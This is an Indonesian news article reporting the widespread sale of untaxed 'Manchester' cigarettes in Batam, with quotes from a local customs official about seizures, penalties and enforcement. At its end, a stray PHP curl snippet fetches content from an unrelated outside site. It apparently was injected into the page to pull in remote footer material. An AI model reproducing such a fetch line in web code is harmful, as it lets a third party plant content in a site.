Peredaran Rokok Manchester di Kota Batam Terkesan Bebas

Rabu, 20 April 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Batam l Jejakkasus.info – Peredaran rokok Hmind yang tidak memiliki pira cukai (ilegal) dimana makin hari semakin marak peredaranya di ingkungan masyarakat kota batam. Senin 18/4/2022.

Saat ini rokok ilegal di kota Batam semakin tak terbendung peredarannya, karna para cukong merasa aman aja. Kalau kita telusuri seluruh pelosok kota Batam, hampir seluruh warung, baik warung kecil dipinggir jalan maupun toko yang tergolong besar menyediakan rokok ilegal.

Pengusaha Rokok ilegal bermerek “Manchester” terkesan merasa aman sehingga peredarannya sangat luar biasa, padahal jelas-jelas hal ini sangat merugikan Negara kerena tidak  membayar pajak.

Jelas-jelas bahwa dengan beredarnya rokok yang tidak memiliki pita cukai ini sangat merugikan negara artinya Pengusaha rokok tanpa pita cukai ini melanggar undang-undang yang berlaku di negara republik indonesia sebagai mana yang tertuang di dalam pasal 54 undang-undang no 39 tahun 2007 tentang cukai yang berbunyi “menawarkan atau menjual rokok polos tanpa cukai terancam pidana 1 sampai 5 tahun penjara dan/atau pidana denda 2 sampai 10 kali nilai cukai yang harus dibayar.

Baca Juga:  Jejak Kasus Bangka Belitung Temukan Limbah Medis di Tengah Hutan

Ancaman berupa pidana penjara paling lama 25 tahun dan denda paling banyak Rp 11 miliar,” pemberian efek jera kepada para pelaku. Hal ini penting dilakukan mengingat rokok yang tidak memiliki pita cukai (ilegal) merugikan negara serta menantang undang-undang yang berlaku di negara republik indonesia.

Disaat awak media konfirmasi terkait hal ini kepada Kepala Bidang BKLI Bea Cukai Batam M Rizki Baidillah melalui no WhatsApp nya, Rizki menjelaskan bahwa terkait peredaran rokok ilegal di tahun 2021 saja sudah dilakukan penindakan sebesar lebih dari 75 juta batang, sedangkan untuk tahun 2022 dalam kurun waktu 5 bulan belakangan ini, sudah lebih dari 900 rb batang, memang ditemukan rokok ilegal pada saat melalukan razia. Apabila sudah masuk ke 1 tempat , tempat lain sudah langsung mengamankan rokok ilegal tersebut, Jelas Rizki

Baca Juga:  Bea Cukai Batam Tangkap Kapal Tanker Bermuatan Minyak Solar Ilegal

Untuk itu perlu strategi dan kolaborasi dengan aparat lain dan hal itu sudah menghasilkan tangkapan-tangkapan. Untuk rokok-Rokok yang diduga berasal dari Jawa, unit pengawasan sudah melakukan kerjasama dengan kantor yg ada disana, sekedar info sj bahwa ada laporan dari pabrikan rokok Batam yang melaporkan bahwa produk  mereka dipalsukan, dan saat ini msh dlm proses. Agak sulit memang membasmi rokok tersebut jika permintaan selalu ada, tambah Rizki

Baca Juga:  Rendezvous at Sea Bea Cukai Bersama Singapore Police Coast Guard, Tingkatkan Pengawasan Laut Melalui Patroli

Pola pemasaran konsinyasi yang hanya ditaruh sedikit di warung2, gudang sangat dirahasiakan, tingkat permintaan yg tinggi sehingga suplay tetap berjalan. Oleh karena itu perlu dukungan semua pihak bahwa dengan membeli rokok dengan pita cukai, kita sedang membantu negara untuk pembangunan dan subsidi-subsidi yang diperlukan, kata Rizki

Untuk itu, namanya di duga kan harus di buktikan, pembuktian kan perlu alat bukti, kalo untuk yang beredar kita tekan dengan operasi cukai, ini sudah berjalan, jika ada info gudang dari masyarakat yang disinyalir menimbun rokok ilegal, informasikan ke kami, biar ditindak lanjuti. saat ini pengenaan pidana adalah opsi terakhir, dan saat ini lebih ke denda. Tutup Rizki. Bersambung…(Tim)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi
Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran
Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang
Pelaku Curas di Desa Lelea, Dibekuk Polisi
Maraknya Perjudian 303 Sabung Ayam di Desa Bedanten, Kecamatan Bunga, Kabupaten Gresik Tak Tersentuh Hukum
Peredaran Ganja Jaringan Sumatera Dibongkar Polisi

Berita Terkait

Kamis, 19 September 2024 - 22:04 WIB

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Minggu, 15 September 2024 - 11:40 WIB

Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang

Minggu, 15 September 2024 - 08:44 WIB

Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Senin, 9 September 2024 - 21:33 WIB

Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran

Senin, 9 September 2024 - 21:13 WIB

Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>